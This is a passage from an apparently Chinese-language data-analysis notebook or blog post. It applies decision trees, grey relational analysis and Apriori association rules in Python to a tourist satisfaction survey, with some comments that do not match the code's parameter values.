df[\u0026#39;Q17\u0026#39;] # 对特征进行0-1编码 X_encoded = pd.get_dummies(X_unencoded, columns=feature_columns) # 对目标变量进行0-1编码 y_encoded = target_column # 特征选择 selector = SelectPercentile(chi2, percentile=10) X_new = selector.fit_transform(X_encoded, y_encoded) # 划分训练集和测试集 X_train, X_test, y_train, y_test = train_test_split(X_new, y_encoded, test_size=0.1, random_state=42) # Best feature selector: SelectPercentile # Best parameters: {\u0026#39;criterion\u0026#39;: \u0026#39;gini\u0026#39;, \u0026#39;max_depth\u0026#39;: 5, \u0026#39;min_samples_leaf\u0026#39;: 3, \u0026#39;min_samples_split\u0026#39;: 2, \u0026#39;splitter\u0026#39;: \u0026#39;best\u0026#39;} # 初始化决策树分类器 classifier = DecisionTreeClassifier(random_state=42, max_depth=5,criterion=\u0026#39;gini\u0026#39;,splitter=\u0026#39;best\u0026#39;,min_samples_split=2,min_samples_leaf=3) # 训练模型 classifier.fit(X_train, y_train) # 预测测试集 y_pred = classifier.predict(X_test) # 打印分类报告 print(classification_report(y_test, y_pred)) # 获取目标变量的类别名称 class_names = target_column.unique().tolist() # 将类别名称转换为字符串 class_names = [str(name) for name in class_names] # 绘制决策树 plt.figure(figsize=(80,40)) plot_tree(classifier, filled=True, class_names=class_names) plt.show() 超参数调优 from sklearn.feature_selection import SelectKBest, chi2, SelectPercentile, mutual_info_classif, f_classif, SelectFromModel from sklearn.linear_model import LogisticRegression from sklearn.model_selection import GridSearchCV from sklearn.tree import DecisionTreeClassifier from sklearn.metrics import f1_score # 定义特征选择方法 feature_selectors = [ (\u0026#39;SelectKBest_chi2\u0026#39;, SelectKBest(chi2, k=10)), (\u0026#39;SelectPercentile\u0026#39;, SelectPercentile(chi2, percentile=10)), (\u0026#39;mutual_info_classif\u0026#39;, SelectKBest(mutual_info_classif, k=10)), (\u0026#39;f_classif\u0026#39;, SelectKBest(f_classif, k=10)), (\u0026#39;SelectFromModel\u0026#39;, SelectFromModel(LogisticRegression(penalty=\u0026#34;l1\u0026#34;, solver=\u0026#39;liblinear\u0026#39;))), ] # 定义要搜索的参数范围 param_grid = { \u0026#39;max_depth\u0026#39;: [3, 4, 5, 6, 7, 8, 9, 10], \u0026#39;criterion\u0026#39;: [\u0026#39;gini\u0026#39;, \u0026#39;entropy\u0026#39;], \u0026#39;splitter\u0026#39;: [\u0026#39;best\u0026#39;, \u0026#39;random\u0026#39;], \u0026#39;min_samples_split\u0026#39;: [2, 3, 4, 5], \u0026#39;min_samples_leaf\u0026#39;: [1, 2, 3, 4, 5], } # 初始化决策树分类器 classifier = DecisionTreeClassifier(random_state=42) # 初始化网格搜索 grid_search = GridSearchCV(classifier, param_grid, cv=5, scoring=\u0026#39;f1_macro\u0026#39;) best_score = 0 best_selector = None best_params = None # 对每个特征选择方法进行迭代 for name, selector in feature_selectors: # 执行特征选择 X_new = selector.fit_transform(X_encoded, y_encoded) # 执行网格搜索 grid_search.fit(X_new, y_encoded) # 如果这个得分比之前的得分好，就更新最好的得分和最好的参数 if grid_search.best_score_ \u0026gt; best_score: best_score = grid_search.best_score_ best_selector = name best_params = grid_search.best_params_ # 打印最好的特征选择方法和最好的参数 print(\u0026#39;Best feature selector:\u0026#39;, best_selector) print(\u0026#39;Best parameters:\u0026#39;, best_params) CART决策树：游客满意度因素分析 数据集：df_cart_satisfaction\n目标变量是\u0026rsquo;满意度\u0026rsquo;，分类变量：Q24|R1,Q24|R2,Q24|R3,Q24|R4,Q24|R5,Q24|R6,Q24|R7,Q24|R8,Q24|R9,Q24|R10,Q24|R11,Q24|R12,Q24|R13,Q24|R14,Q24|R18,Q24|R15,Q24|R16,Q24|R17\nimport pandas as pd # 从\u0026#34;熵权满意度.xlsx\u0026#34;中读取数据 df_cart_satisfaction = pd.read_excel(\u0026#39;熵权满意度.xlsx\u0026#39;) df_cart_satisfaction.head() from sklearn.model_selection import train_test_split from sklearn.tree import DecisionTreeRegressor from sklearn.metrics import mean_squared_error from sklearn.tree import plot_tree import matplotlib.pyplot as plt # 定义特征和目标变量 feature_columns =[\u0026#39;Q24|R1\u0026#39;, \u0026#39;Q24|R2\u0026#39;, \u0026#39;Q24|R3\u0026#39;, \u0026#39;Q24|R4\u0026#39;, \u0026#39;Q24|R5\u0026#39;, \u0026#39;Q24|R6\u0026#39;, \u0026#39;Q24|R7\u0026#39;, \u0026#39;Q24|R8\u0026#39;, \u0026#39;Q24|R9\u0026#39;, \u0026#39;Q24|R10\u0026#39;, \u0026#39;Q24|R11\u0026#39;, \u0026#39;Q24|R12\u0026#39;, \u0026#39;Q24|R13\u0026#39;, \u0026#39;Q24|R14\u0026#39;, \u0026#39;Q24|R18\u0026#39;, \u0026#39;Q24|R15\u0026#39;, \u0026#39;Q24|R16\u0026#39;, \u0026#39;Q24|R17\u0026#39;] X = df_cart_satisfaction[feature_columns] y = df_cart_satisfaction[\u0026#39;满意度\u0026#39;] # Best feature selector: mutual_info_regression # Best parameters: {\u0026#39;max_depth\u0026#39;: 10, \u0026#39;min_samples_leaf\u0026#39;: 1, \u0026#39;min_samples_split\u0026#39;: 3, \u0026#39;splitter\u0026#39;: \u0026#39;random\u0026#39;} # 划分训练集和测试集 X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.1, random_state=42) # 初始化决策树回归器 regressor = DecisionTreeRegressor(random_state=42, max_depth=3,min_samples_split=3,min_samples_leaf=1,splitter=\u0026#39;random\u0026#39;) # 训练模型 regressor.fit(X_train, y_train) # 预测测试集 y_pred = regressor.predict(X_test) # 打印均方误差 print(\u0026#34;Mean Squared Error: \u0026#34;, mean_squared_error(y_test, y_pred)) # 绘制决策树 plt.figure(figsize=(80,40)) plot_tree(regressor, filled=True) plt.show() from sklearn.feature_selection import SelectKBest, f_regression, mutual_info_regression, SelectFromModel from sklearn.linear_model import Lasso from sklearn.model_selection import GridSearchCV from sklearn.tree import DecisionTreeRegressor from sklearn.metrics import make_scorer, mean_squared_error # 定义特征选择方法 feature_selectors = [ (\u0026#39;SelectKBest_f_regression\u0026#39;, SelectKBest(f_regression, k=10)), (\u0026#39;mutual_info_regression\u0026#39;, SelectKBest(mutual_info_regression, k=10)), (\u0026#39;SelectFromModel\u0026#39;, SelectFromModel(Lasso(alpha=0.1))), ] # 定义要搜索的参数范围 param_grid = { \u0026#39;max_depth\u0026#39;: [3, 4, 5, 6, 7, 8, 9, 10], \u0026#39;splitter\u0026#39;: [\u0026#39;best\u0026#39;, \u0026#39;random\u0026#39;], \u0026#39;min_samples_split\u0026#39;: [2, 3, 4, 5], \u0026#39;min_samples_leaf\u0026#39;: [1, 2, 3, 4, 5], } # 初始化决策树回归器 regressor = DecisionTreeRegressor(random_state=42) # 初始化网格搜索 grid_search = GridSearchCV(regressor, param_grid, cv=5, scoring=make_scorer(mean_squared_error, greater_is_better=False)) best_score = float(\u0026#39;inf\u0026#39;) best_selector = None best_params = None # 对每个特征选择方法进行迭代 for name, selector in feature_selectors: # 执行特征选择 X_new = selector.fit_transform(X, y) # 执行网格搜索 grid_search.fit(X_new, y) # 如果这个得分比之前的得分好，就更新最好的得分和最好的参数 if grid_search.best_score_ \u0026lt; best_score: best_score = grid_search.best_score_ best_selector = name best_params = grid_search.best_params_ # 打印最好的特征选择方法和最好的参数 print(\u0026#39;Best feature selector:\u0026#39;, best_selector) print(\u0026#39;Best parameters:\u0026#39;, best_params) import pandas as pd # Load the dataset df_cart_satisfaction = pd.read_excel(\u0026#39;熵权满意度.xlsx\u0026#39;) from sklearn.model_selection import train_test_split from sklearn.tree import DecisionTreeRegressor from sklearn.metrics import mean_squared_error, r2_score # Feature and target columns feature_columns = [\u0026#39;Q24|R1\u0026#39;, \u0026#39;Q24|R2\u0026#39;, \u0026#39;Q24|R3\u0026#39;, \u0026#39;Q24|R4\u0026#39;, \u0026#39;Q24|R5\u0026#39;, \u0026#39;Q24|R6\u0026#39;, \u0026#39;Q24|R7\u0026#39;, \u0026#39;Q24|R8\u0026#39;, \u0026#39;Q24|R9\u0026#39;, \u0026#39;Q24|R10\u0026#39;, \u0026#39;Q24|R11\u0026#39;, \u0026#39;Q24|R12\u0026#39;, \u0026#39;Q24|R13\u0026#39;, \u0026#39;Q24|R14\u0026#39;, \u0026#39;Q24|R18\u0026#39;, \u0026#39;Q24|R15\u0026#39;, \u0026#39;Q24|R16\u0026#39;, \u0026#39;Q24|R17\u0026#39;] X = df_cart_satisfaction[feature_columns] y = df_cart_satisfaction[\u0026#39;满意度\u0026#39;] # Splitting data into training and testing sets X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42) # Initialize and train Decision Tree Regressor dt_regressor = DecisionTreeRegressor(random_state=42) dt_regressor.fit(X_train, y_train) # Predicting the Test set results y_pred = dt_regressor.predict(X_test) # Evaluate the model mse = mean_squared_error(y_test, y_pred) r2 = r2_score(y_test, y_pred) mse, r2 # Getting feature importances feature_importances = pd.Series(dt_regressor.feature_importances_, index=feature_columns) # Sort the feature importances in descending order feature_importances_sorted = feature_importances.sort_values(ascending=False) feature_importances_sorted from sklearn.tree import plot_tree import matplotlib.pyplot as plt from matplotlib.colors import ListedColormap # 为决策树的不同深度生成一个绿色渐变颜色映射 cmap = ListedColormap([\u0026#34;#e5f5e0\u0026#34;, \u0026#34;#a1d99b\u0026#34;, \u0026#34;#31a354\u0026#34;]) # Plotting the Decision Tree with green color scheme plt.figure(figsize=(20,10)) # 使用colormap参数指定颜色映射 plot_tree(dt_regressor, feature_names=feature_columns, filled=True, max_depth=3, fontsize=10, cmap=cmap) plt.title(\u0026#34;满意度影响因素决策树\u0026#34;) plt.show() 灰色关联 灰色关联分析（Grey Relational Analysis, GRA）是灰色系统理论的一个重要部分，由中国学者邓聚龙在20世纪80年代初提出。灰色系统理论主要研究部分信息已知、部分信息未知的系统，而灰色关联分析则是用来分析和处理系统中因素之间的关联程度的一种方法。\n基础知识 主要用途\n关联度分析：通过计算和比较序列之间的关联度（相似度），确定各个因素对系统行为的影响程度，识别出主要影响因素和次要影响因素。 预测与决策支持：在只有少量数据或系统信息不完全的情况下，灰色关联分析可以用来预测系统的未来发展趋势，为决策提供依据。 模式识别和分类：根据关联度的高低，可以将系统中的因素或对象进行分类，识别出具有相似性质的群体或模式。 分析特点\n适用于小样本和不完全信息：与传统的统计分析方法相比，灰色关联分析不需要大量数据，适用于信息不完全和数据量少的情况。 操作简便，易于理解和实施：灰色关联分析的计算过程相对简单，容易实现，计算结果直观易懂。 广泛的应用领域：灰色关联分析在经济分析、社会科学、环境工程、生物医药等多个领域都有应用。 应用示例\n假设要分析某一地区经济增长与多个因素（如投资、消费、出口等）之间的关系，可以使用灰色关联分析来确定哪些因素与经济增长的关联度最高，从而为经济政策的制定提供依据。\n灰色关联分析通过计算参考数列（如经济增长率）与比较数列（如投资增长率、消费增长率等）之间的关联度，来评估各因素对目标（经济增长）的影响程度。通过比较各因素的关联度大小，可以辨识出对经济增长影响最大的因素。\n灰色关联：探究满意度的提升和打造产品的关系 import pandas as pd import numpy as np import matplotlib.pyplot as plt # 假设 df_gone 是自变量的DataFrame，df_gone[\u0026#39;Q26|1\u0026#39;] 是因变量 # 数据准备 columns = [\u0026#39;Q2\u0026#39;, \u0026#39;Q4\u0026#39;, \u0026#39;Q5\u0026#39;, \u0026#39;Q8\u0026#39;, \u0026#39;Q9\u0026#39;, \u0026#39;Q10\u0026#39;, \u0026#39;Q11\u0026#39;, \u0026#39;Q12\u0026#39;, \u0026#39;Q13\u0026#39;, \u0026#39;Q14\u0026#39;, \u0026#39;Q15\u0026#39;] # 数值型列 numerical_columns = [\u0026#39;Q2\u0026#39;, \u0026#39;Q4\u0026#39;, \u0026#39;Q5\u0026#39;] # 类别型列 categorical_columns = [col for col in columns if col not in numerical_columns] # 分类变量进行独热编码 df_encoded = pd.get_dummies(df_gone[categorical_columns]) # 保留数值型列的原始数据 df_numerical = df_gone[numerical_columns] # 合并数值型数据和经过独热编码的分类数据 X_encoded = pd.concat([df_numerical, df_encoded], axis=1) X = X_encoded # 自变量数据 y = df_gone[\u0026#39;Q26|1\u0026#39;].values # 因变量数据 # 标准化（归一化）处理 X_norm = (X - X.min()) / (X.max() - X.min()) y_norm = (y - y.min()) / (y.max() - y.min()) # 计算关联系数 def grey_relational_coefficient(x, y): epsilon = 0.5 # 分辨系数，一般取值为(0,1) delta = np.abs(x - y) min_delta = np.min(delta) max_delta = np.max(delta) xi = (min_delta + epsilon * max_delta) / (delta + epsilon * max_delta) return xi # 计算每个自变量与因变量的关联系数 xi_matrix = np.array([grey_relational_coefficient(X_norm.iloc[:, i].values, y_norm) for i in range(X_norm.shape[1])]) # 计算关联度 grey_relational_grades = np.mean(xi_matrix, axis=1) # 对关联度进行降序排列，并获取排序后的索引 sorted_indices = np.argsort(grey_relational_grades)[::-1] # 可视化关联度 plt.figure(figsize=(10, 6)) plt.barh(range(len(sorted_indices)), grey_relational_grades[sorted_indices], color=\u0026#39;skyblue\u0026#39;) plt.yticks(range(len(sorted_indices)), X_encoded.columns[sorted_indices]) plt.xlabel(\u0026#39;Grey Relational Grade\u0026#39;) plt.title(\u0026#39;Grey Relational Analysis (GRA) of Variables to Q26\u0026#39;) plt.gca().invert_yaxis() # 使得y轴按关联度从高到低排列 plt.show() 关联规则 关联规则分析是一种在大数据集中寻找项目间的有趣关系（如频繁模式、关联、相关性）的方法，主要用于事务数据、序列数据等。它最著名的应用是市场篮分析，但也广泛应用于生物信息学、药品配对、推荐系统等领域。\n基础知识 作用\n发现数据间隐藏的关系：帮助识别数据集中不同项目之间的关联性，即用户行为或特征之间的内在联系。 决策支持：为零售商提供交叉销售和产品捆绑的策略依据，通过理解产品之间的关系来优化库存管理和推广策略。 推荐系统：基于用户的购买历史或行为模式，推荐他们可能感兴趣的商品或服务。 实现方法\nApriori算法：最早也是最著名的关联规则挖掘算法，通过逐层搜索频繁项集的方法来发现数据之间的强规则。 FP-Growth算法：比Apriori效率更高，不需要产生候选项集，直接构造FP树来挖掘频繁项集。 Eclat算法：基于垂直数据格式，使用交集操作来快速得到频繁项集，效率高于Apriori。 关联规则分析：推荐意愿分析 针对27、28进行关联规则分析\nQ27|1,Q28|1,Q28|23,Q28|21,Q28|22,Q28|24,Q28|25,Q28|4,Q28|2,Q28|26,Q28|27,Q28|28,Q28|29,Q28|35,Q28|34,\n排除Q28|34|open\n支持度（Support）：支持度可以理解为物品当前流行程度。计算方式是：\n支持度 = （包含物品A的记录数量） / （总的记录数量） 用上面的超市记录举例，一共有五个交易，牛奶出现在三个交易中，故而{牛奶}的支持度为3/5。{鸡蛋}的支持度是4/5。牛奶和鸡蛋同时出现的次数是2，故而{牛奶，鸡蛋}的支持度为2/5。 置信度（Confidence）：置信度是指如果购买物品A，有较大可能购买物品B。计算方式是这样：\n置信度( A -\u0026gt; B) = （包含物品A和B的记录数量） / （包含 A 的记录数量） 举例：我们已经知道，(牛奶，鸡蛋)一起购买的次数是两次，鸡蛋的购买次数是4次。那么Confidence(牛奶-\u0026gt;鸡蛋)的计算方式是Confidence(牛奶-\u0026gt;鸡蛋)=2 / 4。 提升度（Lift）：提升度指当销售一个物品时，另一个物品销售率会增加多少。计算方式是：\n提升度( A -\u0026gt; B) = 置信度( A -\u0026gt; B) / (支持度 A) 泡泡图：support, confidence, lift\nfrom mlxtend.frequent_patterns import apriori from mlxtend.frequent_patterns import association_rules import matplotlib.pyplot as plt import pandas as pd df_apriori = df_gone[[\u0026#39;Q28|1\u0026#39;,\u0026#39;Q28|23\u0026#39;,\u0026#39;Q28|21\u0026#39;,\u0026#39;Q28|22\u0026#39;,\u0026#39;Q28|24\u0026#39;,\u0026#39;Q28|25\u0026#39;,\u0026#39;Q28|4\u0026#39;,\u0026#39;Q28|2\u0026#39;,\u0026#39;Q28|26\u0026#39;,\u0026#39;Q28|27\u0026#39;,\u0026#39;Q28|28\u0026#39;,\u0026#39;Q28|29\u0026#39;,\u0026#39;Q28|35\u0026#39;,\u0026#39;Q28|34\u0026#39;]] df_apriori = df_apriori.rename(columns={ \u0026#39;Q28|1\u0026#39;: \u0026#39;草原风光\u0026#39;, \u0026#39;Q28|23\u0026#39;: \u0026#39;矮杜鹃花花海\u0026#39;, \u0026#39;Q28|21\u0026#39;: \u0026#39;乌蒙滑雪场\u0026#39;, \u0026#39;Q28|22\u0026#39;: \u0026#39;七彩滑道\u0026#39;, \u0026#39;Q28|24\u0026#39;: \u0026#39;玻璃水滑道\u0026#39;, \u0026#39;Q28|25\u0026#39;: \u0026#39;观佛台观赏佛光\u0026#39;, \u0026#39;Q28|4\u0026#39;: \u0026#39;野炊露营\u0026#39;, \u0026#39;Q28|2\u0026#39;: \u0026#39;民俗风情\u0026#39;, \u0026#39;Q28|26\u0026#39;: \u0026#39;蒙古包酒店\u0026#39;, \u0026#39;Q28|27\u0026#39;: \u0026#39;精品民宿\u0026#39;, \u0026#39;Q28|28\u0026#39;: \u0026#39;牛肉馆\u0026#39;, \u0026#39;Q28|29\u0026#39;: \u0026#39;羊汤锅\u0026#39;, \u0026#39;Q28|35\u0026#39;: \u0026#39;旅游商品\u0026#39;, # （刺梨系列商品、盘县火腿、人民小酒、茶叶、银杏系列商品等） \u0026#39;Q28|34\u0026#39;: \u0026#39;其他\u0026#39; }) # 将数据集中的所有值都转换为数值，忽略无法转换的值 df_apriori = df_apriori.apply(pd.to_numeric, errors=\u0026#39;coerce\u0026#39;) # 然后再将数据集中的值转换为布尔值 df_encoded = df_apriori.applymap(lambda x: False if x \u0026lt;= 0 else True) # print(df_encoded) # 使用apriori找出频繁项集，将支持度阈值提高到0.5 frequent_itemsets = apriori(df_encoded, min_support=0.3, use_colnames=True) # 使用association_rules找出关联规则，将置信度阈值提高到0.8 rules = association_rules(frequent_itemsets, metric=\u0026#34;confidence\u0026#34;, min_threshold=0.5) # 打印关联规则 # print(rules) # 现在我们绘制泡泡图 # 规则的支持度决定泡泡的大小，提升度决定颜色的深浅 plt.scatter(rules[\u0026#39;support\u0026#39;], rules[\u0026#39;confidence\u0026#39;], s=rules[\u0026#39;support\u0026#39;]*1000, c=rules[\u0026#39;lift\u0026#39;], cmap=\u0026#39;RdYlBu\u0026#39;, alpha=0.5) plt.xlabel(\u0026#39;Support\u0026#39;) plt.ylabel(\u0026#39;Confidence\u0026#39;) plt.title(\u0026#39;Bubble Chart for Association Rules\u0026#39;) plt.colorbar(label=\u0026#39;Lift\u0026#39;) plt.show() 变量可视化\n# 设置字体为SimHei显示中文 plt.rcParams[\u0026#39;font.sans-serif\u0026#39;] = [\u0026#39;SimHei\u0026#39;] plt.rcParams[\u0026#39;axes.unicode_minus\u0026#39;] = False # 创建一个空的矩阵，用于存放支持度和提升度 support_matrix = pd.DataFrame(index=df_encoded.columns, columns=df_encoded.columns) lift_matrix = pd.DataFrame(index=df_encoded.columns, columns=df_encoded.columns) # 填充矩阵 for i, rule in rules.iterrows(): antecedents = next(iter(rule[\u0026#39;antecedents\u0026#39;])) consequents = next(iter(rule[\u0026#39;consequents\u0026#39;])) support_matrix.loc[antecedents, consequents] = rule[\u0026#39;support\u0026#39;] lift_matrix.loc[antecedents, consequents] = rule[\u0026#39;lift\u0026#39;] import matplotlib.colors as mcolors # 绘制泡泡图 fig, ax = plt.subplots(figsize=(14, 9)) # 修改图表宽度 norm = mcolors.Normalize(vmin=lift_matrix.min().min(), vmax=lift_matrix.max().max()) # 创建归一化对象 for i in support_matrix.columns: for j in support_matrix.index: support = support_matrix.loc[j, i] lift = lift_matrix.loc[j, i] if pd.notnull(support): ax.scatter(i, j, s=support*3500, c=lift, cmap=\u0026#39;RdYlBu\u0026#39;, norm=norm, alpha=0.7) # 修改散点图的大小 # 设置图表格式 ax.set_xticks(range(len(support_matrix.columns))) ax.set_yticks(range(len(support_matrix.index))) ax.set_xticklabels(support_matrix.columns, rotation=90) ax.set_yticklabels(support_matrix.index) # 显示背景网格 ax.grid(True, linestyle=\u0026#39;--\u0026#39;) # 添加颜色条 sm = plt.cm.ScalarMappable(cmap=\u0026#39;RdYlBu\u0026#39;, norm=plt.Normalize(vmin=lift_matrix.min().min(), vmax=lift_matrix.max().max())) sm._A = [] cbar = plt.colorbar(sm, shrink=0.7) # 修改颜色条的大小 cbar.set_label(\u0026#39;Lift\u0026#39;) # 显示图表 plt.show() 热力图\nimport seaborn as sns # 创建一个空的DataFrame，用于存储提升度 lift_matrix = pd.DataFrame(index=df_apriori.columns, columns=df_apriori.columns) for i in range(rules.shape[0]): antecedent = rules.iloc[i][\u0026#39;antecedents\u0026#39;] consequent = rules.iloc[i][\u0026#39;consequents\u0026#39;] lift = rules.iloc[i][\u0026#39;lift\u0026#39;] if len(antecedent) == 1 and len(consequent) == 1: antecedent = list(antecedent)[0] consequent = list(consequent)[0] if isinstance(antecedent, str) and isinstance(consequent, str): lift_matrix.loc[antecedent, consequent] = lift # 将NaN值填充为0 lift_matrix = lift_matrix.fillna(0) # 使用seaborn的heatmap函数绘制热图 plt.figure(figsize=(10, 8)) sns.heatmap(lift_matrix, cmap=\u0026#39;RdYlBu_r\u0026#39;, annot=True, fmt=\u0026#34;.2f\u0026#34;) plt.title(\u0026#39;Lift Matrix\u0026#39;) plt.show() 关联规则分析：旅游资源产品开发 针对Q30,Q31,Q32这三个题项进行分析\nQ30|R1,Q30|R2,Q30|R3,Q30|R4,Q30|R5,Q30|R6,Q31|R1,Q31|R2,Q31|R8,Q31|R4,Q31|R7,Q31|R9,Q31|R6,Q31|R5,Q32|R3,Q32|R7,Q32|R4,Q32|R5,Q32|R1,Q32|R2,Q32|R6,Q33|R10,Q33|R12,Q33|R11,Q33|R4,Q33|R5,Q33|R1,Q33|R8,Q33|R7\n这些题目都是量表题，关联分析需要多选题，4分及以上算作选择了；然后进行3维的关联规则分析\n# 关联规则分析 # 先对把每个问卷的选项转换为布尔值，并把三个问题的选项合并到一起 columns_to_convert = [\u0026#39;Q30|R1\u0026#39;, \u0026#39;Q30|R2\u0026#39;, \u0026#39;Q30|R3\u0026#39;, \u0026#39;Q30|R4\u0026#39;, \u0026#39;Q30|R5\u0026#39;, \u0026#39;Q30|R6\u0026#39;, \u0026#39;Q31|R1\u0026#39;, \u0026#39;Q31|R2\u0026#39;, \u0026#39;Q31|R8\u0026#39;, \u0026#39;Q31|R4\u0026#39;, \u0026#39;Q31|R7\u0026#39;, \u0026#39;Q31|R9\u0026#39;, \u0026#39;Q31|R6\u0026#39;, \u0026#39;Q31|R5\u0026#39;, \u0026#39;Q32|R3\u0026#39;, \u0026#39;Q32|R7\u0026#39;, \u0026#39;Q32|R4\u0026#39;, \u0026#39;Q32|R5\u0026#39;, \u0026#39;Q32|R1\u0026#39;, \u0026#39;Q32|R2\u0026#39;, \u0026#39;Q32|R6\u0026#39;] def convert_score(score): return score \u0026gt;= 4 df_product = df_gone[columns_to_convert].map(convert_score) # 把df_product到处为csv df_product.to_csv(\u0026#39;product.csv\u0026#39;, index=False) df_product.head() 利用关联规则算法Apriori分析和可视化\nfrom mlxtend.frequent_patterns import apriori from mlxtend.frequent_patterns import association_rules import matplotlib.pyplot as plt import pandas as pd # 设置字体为SimHei显示中文 plt.rcParams[\u0026#39;font.sans-serif\u0026#39;] = [\u0026#39;SimHei\u0026#39;] plt.rcParams[\u0026#39;axes.unicode_minus\u0026#39;] = False df_encoded = df_product.rename(columns={ \u0026#39;Q30|R1\u0026#39;: \u0026#39;体育项目\u0026#39;, \u0026#39;Q30|R2\u0026#39;: \u0026#39;网红打卡点\u0026#39;, \u0026#39;Q30|R3\u0026#39;: \u0026#39;趣味项目\u0026#39;, \u0026#39;Q30|R4\u0026#39;: \u0026#39;民族服饰\u0026#39;, \u0026#39;Q30|R5\u0026#39;: \u0026#39;专业旅拍\u0026#39;, \u0026#39;Q30|R6\u0026#39;: \u0026#39;特色民宿\u0026#39;, \u0026#39;Q31|R1\u0026#39;: \u0026#39;盘县火腿\u0026#39;, \u0026#39;Q31|R2\u0026#39;: \u0026#39;刺梨系列产品\u0026#39;, \u0026#39;Q31|R8\u0026#39;: \u0026#39;盘州茶叶\u0026#39;, \u0026#39;Q31|R4\u0026#39;: \u0026#39;核桃乳\u0026#39;, \u0026#39;Q31|R7\u0026#39;: \u0026#39;人民小酒\u0026#39;, \u0026#39;Q31|R9\u0026#39;: \u0026#39;银杏系列商品\u0026#39;, \u0026#39;Q31|R6\u0026#39;: \u0026#39;民族手工制品\u0026#39;, \u0026#39;Q31|R5\u0026#39;: \u0026#39;彝族服饰\u0026#39;, \u0026#39;Q32|R3\u0026#39;: \u0026#39;非遗火腿工艺参观\u0026#39;, \u0026#39;Q32|R7\u0026#39;: \u0026#39;非遗技艺制作地方特色小吃体验\u0026#39;, \u0026#39;Q32|R4\u0026#39;: \u0026#39;非遗剪纸体验\u0026#39;, \u0026#39;Q32|R5\u0026#39;: \u0026#39;古法造纸参观\u0026#39;, \u0026#39;Q32|R1\u0026#39;: \u0026#39;民族刺绣体验\u0026#39;, \u0026#39;Q32|R2\u0026#39;: \u0026#39;民族蜡染体验\u0026#39;, \u0026#39;Q32|R6\u0026#39;: \u0026#39;民族歌舞表演\u0026#39; }) # 使用apriori找出频繁项集，将支持度阈值提高到0.5 frequent_itemsets = apriori(df_encoded, min_support=0.7, use_colnames=True) # 使用association_rules找出关联规则，将置信度阈值提高到0.8 rules = association_rules(frequent_itemsets, metric=\u0026#34;confidence\u0026#34;, min_threshold=0.5) # 规则的支持度决定泡泡的大小，提升度决定颜色的深浅 plt.scatter(rules[\u0026#39;support\u0026#39;], rules[\u0026#39;confidence\u0026#39;], s=rules[\u0026#39;support\u0026#39;]*1000, c=rules[\u0026#39;lift\u0026#39;], cmap=\u0026#39;viridis\u0026#39;, alpha=0.5) plt.xlabel(\u0026#39;支持度\u0026#39;) plt.ylabel(\u0026#39;值信度\u0026#39;) plt.title(\u0026#39;关联规则气泡图\u0026#39;) plt.colorbar(label=\u0026#39;提升度\u0026#39;) plt.show() import matplotlib.colors as mcolors # 创建一个空的矩阵，用于存放支持度和提升度 support_matrix = pd.DataFrame(index=df_encoded.columns, columns=df_encoded.columns) lift_matrix = pd.DataFrame(index=df_encoded.columns, columns=df_encoded.columns) # 填充矩阵 for i, rule in rules.iterrows(): antecedents = next(iter(rule[\u0026#39;antecedents\u0026#39;])) consequents = next(iter(rule[\u0026#39;consequents\u0026#39;])) support_matrix.loc[antecedents, consequents] = rule[\u0026#39;support\u0026#39;] lift_matrix.loc[antecedents, consequents] = rule[\u0026#39;lift\u0026#39;] # 绘制泡泡图 fig, ax = plt.subplots(figsize=(14, 9)) # 修改图表宽度 norm = mcolors.Normalize(vmin=lift_matrix.min().min(), vmax=lift_matrix.max().max()) # 创建归一化对象 for i in support_matrix.columns: for j in support_matrix.index: support = support_matrix.loc[j, i] lift = lift_matrix.loc[j, i] if pd.notnull(support): ax.scatter(i, j, s=support*500, c=lift, cmap=\u0026#39;viridis\u0026#39;, norm=norm, alpha=0.7) # 修改散点图的大小 # 修改图表的 x 轴和 y 轴标签 ax.set_xticks(range(len(support_matrix.columns))) ax.set_yticks(range(len(support_matrix.index))) ax.set_xticklabels(support_matrix.columns, rotation=90) ax.set_yticklabels(support_matrix.index) # 显示背景网格 ax.grid(True, linestyle=\u0026#39;--\u0026#39;) # 添加颜色条 sm = plt.cm.ScalarMappable(cmap=\u0026#39;viridis\u0026#39;, norm=plt.Normalize(vmin=lift_matrix.min().min(), vmax=lift_matrix.max().max())) sm._A = [] cbar = plt.colorbar(sm, shrink=0.7) # 修改颜色条的大小 cbar.set_label(\u0026#39;Lift\u0026#39;) # 显示图表 plt.show() import matplotlib.pyplot as plt import pandas as pd from mpl_toolkits.mplot3d import Axes3D import matplotlib.colors as mcolors # 假设 scatter_data 已经正确定义，且包含必要的列 question_names = { \u0026#39;Q30|R1\u0026#39;: \u0026#39;体育项目\u0026#39;, \u0026#39;Q30|R2\u0026#39;: \u0026#39;网红打卡点\u0026#39;, \u0026#39;Q30|R3\u0026#39;: \u0026#39;趣味项目\u0026#39;, \u0026#39;Q30|R4\u0026#39;: \u0026#39;民族服饰\u0026#39;, \u0026#39;Q30|R5\u0026#39;: \u0026#39;专业旅拍\u0026#39;, \u0026#39;Q30|R6\u0026#39;: \u0026#39;特色民宿\u0026#39;, \u0026#39;Q31|R1\u0026#39;: \u0026#39;盘县火腿\u0026#39;, \u0026#39;Q31|R2\u0026#39;: \u0026#39;刺梨系列产品\u0026#39;, \u0026#39;Q31|R8\u0026#39;: \u0026#39;盘州茶叶\u0026#39;, \u0026#39;Q31|R4\u0026#39;: \u0026#39;核桃乳\u0026#39;, \u0026#39;Q31|R7\u0026#39;: \u0026#39;人民小酒\u0026#39;, \u0026#39;Q31|R9\u0026#39;: \u0026#39;银杏系列商品\u0026#39;, \u0026#39;Q31|R6\u0026#39;: \u0026#39;民族手工制品\u0026#39;, \u0026#39;Q31|R5\u0026#39;: \u0026#39;彝族服饰\u0026#39;, \u0026#39;Q32|R3\u0026#39;: \u0026#39;非遗火腿工艺参观\u0026#39;, \u0026#39;Q32|R7\u0026#39;: \u0026#39;非遗技艺制作地方特色小吃体验\u0026#39;, \u0026#39;Q32|R4\u0026#39;: \u0026#39;非遗剪纸体验\u0026#39;, \u0026#39;Q32|R5\u0026#39;: \u0026#39;古法造纸参观\u0026#39;, \u0026#39;Q32|R1\u0026#39;: \u0026#39;民族刺绣体验\u0026#39;, \u0026#39;Q32|R2\u0026#39;: \u0026#39;民族蜡染体验\u0026#39;, \u0026#39;Q32|R6\u0026#39;: \u0026#39;民族歌舞表演\u0026#39; } # 创建映射：从题目名称映射到索引 category_mapping = {name: index for index, name in enumerate(question_names.values())} # 创建逆映射：从索引映射回题目名称 inverse_mapping = {index: name for name, index in category_mapping.items()} 